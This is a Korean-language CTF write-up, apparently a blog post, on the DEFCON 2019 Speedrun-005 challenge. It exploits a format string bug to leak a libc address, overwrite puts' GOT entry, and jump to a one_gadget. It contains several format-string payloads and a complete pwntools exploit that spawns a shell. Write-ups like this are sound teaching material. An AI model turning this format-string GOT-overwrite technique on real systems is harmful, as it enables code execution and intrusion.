How to Solve

  1. Format String Bug
image

Design the Payload

  1. puts_got에 main함수 주소를 넣어주자. 왜냐하면 fsb가 한 번 밖에 일어나지 않기 때문에 한번 더 사용하기 위해서이다.
  2. 라이브러리 함수의 주소를 leak 하여 one_gadget의 주소를 게산하자. 1번과 2번을 동시에 할 수 있다.
  3. puts_got에 계산한 one_gadget의 주소를 입력해줘서 쉘을 실행시키자. printf 함수 뒤에 puts 함수가 있기에 가능한 것이다.

Libc_base

처음에 libc_base를 구하기 위해 puts_got에 있는 puts의 주소를 확인하여 구하려고 했지만 FSB에서의 메모리 leak는 스택의 메모리를 말하는 것이다. 그래서 끝없는 삽질 끝에 스택에 어떤 라이브러리 함수가 있는지 무작정 알아내기 위해 %p 200개를 넣어보았다.

image

이 중에 어떤 주소가 라이브러리 함수의 주소인지 파악하기 위해 gdb-peda의 vmmap 기능을 사용하여 라이브러리 함수의 범위를 알아보았다.

image

정확한 범위는 몰라도 되고 주소 시작이 0x7fff7이라는 것만 알면 된다. 결과물을 한글로 옮기고 찾기 기능을 이용하여 이런 주소가 있나 찾아보고 의미가 있는 주소값인지 gdb-peda의 find 기능을 이용하여 알아보았다.

만족하는 라이브러리 함수의 주소는 0x7ffff7a05b97이였고 이는 __libc_start_main+231이다. 또한 이 주소는 fsb 시에 offset이 141이다.(이것도 한컴으로 0x, nil 갯수 세서 구했다.)

One_Gadget

One gadget이란 해당 가젯 하나만을 이용하여 쉘을 얻을 수 있는 가젯이다.

image

이 문제에서는 $rsp+0x70이 널이 되도록 해야 한다. 따라서 스택 메모리를 확인해보니 페이로드 뒤에 널 50개 정도 붙여주면 rsp+70도 널이 될 것 같다.

image

GOT Overwrite

Try 1
payload=p64(puts_got)+p64(0)
payload+=p64(puts_got+2)+p64(0)
payload+=p64(puts_got+4)+p64(0)
payload+=p64(puts_got+6)
payload+='%16lx'*4+'%1605c%n'+'%63907c%n'+'%65472c%n'+'%n'

이렇게 payload를 짰을 때 puts_got에 값이 하나도 들어가지 않았다. 그래서 offset이 잘못 되었나 싶어 p64(puts_got)에 A 8개를 주고 %n 전까지 byte가 88이라 B 88개를 주고 %n 대신 %p를 입력해주었더니 0x4141414141414141이 잘 출력되었다. 따라서 오프셋은 맞다는 것이다.
아마도 주소값에 NULL이 포함되므로 주소값이 앞에 나오게 된다면 printf함수는 종료되어 그 뒤에 나오는 %c%n이 역할을 하지 못한 채 끝나기 때문에 값이 하나도 들어가지 않는 것이라 생각하였다.

Try 2
payload='%1605c%13$n'+'%63907c%15$n'+'%65472c%17$n'+'%c%19n'
payload+=p64(puts_got)+p64(0)
payload+=p64(puts_got+2)+p64(0)
payload+=p64(puts_got+4)+p64(0)
payload+=p64(puts_got+6)

오프셋이 맞지 않는지 계속 값이 제대로 들어가지 않았다.

image

AAAAAAAA 앞에 나오는 %p는 8바이트일거라 생각했지만 정말 당연하게도 %p는 문자열로 2바이트만큼 차지한다는 것을 알 수 있다.

따라서 전략은 이렇다. %c%n이 4개 존재하는데 c, n 앞에 상수가 붙어서 정확한 바이트수를 구하기 어렵다. 따라서 %c%n 뒤에 A를 붙여서 64바이트로 고정하면 puts_got가 뒤에 나오면 오프셋은 무조건 6+8=14이다.

image image

드디어 puts_got 값이 변형될 수 있었다. 이제 %c를 조절하여서 main 함수의 주소를 넣어주자.

image

Exploit

from pwn import *
p=process('./speedrun-005')
e=ELF('./speedrun-005')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')

puts_got=e.got['puts']
main=0x40069d

onegadget_offset=0x10a38c
libc_start_main_offset=libc.symbols['__libc_start_main']

# <libc_start_main+231>의 주소를 알아내면서 puts_got에 main 함수를 덮어씌운다.
payload="%141$16p%1677c%14$hn%63907c%15$hn%65472c%16$hn%17$hn"+"A"*12 
payload+=p64(puts_got)+p64(puts_got+2)+p64(puts_got+4)+p64(puts_got+6)

p.sendafter('time? ', payload)
p.recvuntil('0x')                # <libc_start_main+231> 주소가 0x뭐시기로 출력된다.
leak=int(p.recv(12),16)-231      # leak이 libc_start_main의 주소이다.
libc_base=leak-libc_start_main_offset
onegadget=onegadget_offset+libc_base

a=str(hex(onegadget))       # ex, '0x7f65f86b9440'
print(a)
s1=int(a[2:6], 16)          # '7f65'
s2=int(a[6:10], 16)         # 'f86b'
s3=int(a[10:14], 16)        # '9440'

a3=str(s3)
if s2 < s3:
    a2=str(0x10000+s2-s3)
else:
    a2=str(s2-s3)

if s1 < s2:
    a1=str(0x10000+s1-s2)
else:
    a1=str(s1-s2)

# 처음에 $rsp+70 == NULL을 만족시키기 위해 널을 중간에 넣으려고 했는데 그러면 계속 뜻밖의 오류가 났다. 그래서 스택을 확인해보니 0x70과 payload의 거리가 꽤 있어서 뒤에 붙여도 된다 생각하여 뒤에 널을 50개 붙여주었다.
# 주소는 8바이트지만 처음 네자리는 0000으로 같기 때문에 6바이트만 변경시켜주었다.
payload="%"+a3+"c%14$hn%"+a2+"c%15$hn%"+a1+"c%16$hn"+"A"*(40-len(a1)-len(a2)-len(a3))
payload+=p64(puts_got)+p64(puts_got+2)+p64(puts_got+4)+"\x00"*50

p.sendafter('time? ', payload)
p.interactive()

Get The Shell

image

'Writeup [pwn] > CTF 대회 기출' 카테고리의 다른 글

DEFCON 2019 Speedrun-007  (0) 2020.03.07
DEFCON 2019 Speedrun-006  (0) 2020.03.07
DEFCON 2019 Speedrun-004  (0) 2020.03.07
DEFCON 2019 Speedrun-003  (0) 2020.03.07
DEFCON 2019 Speedrun-002  (0) 2020.03.07

+ Recent posts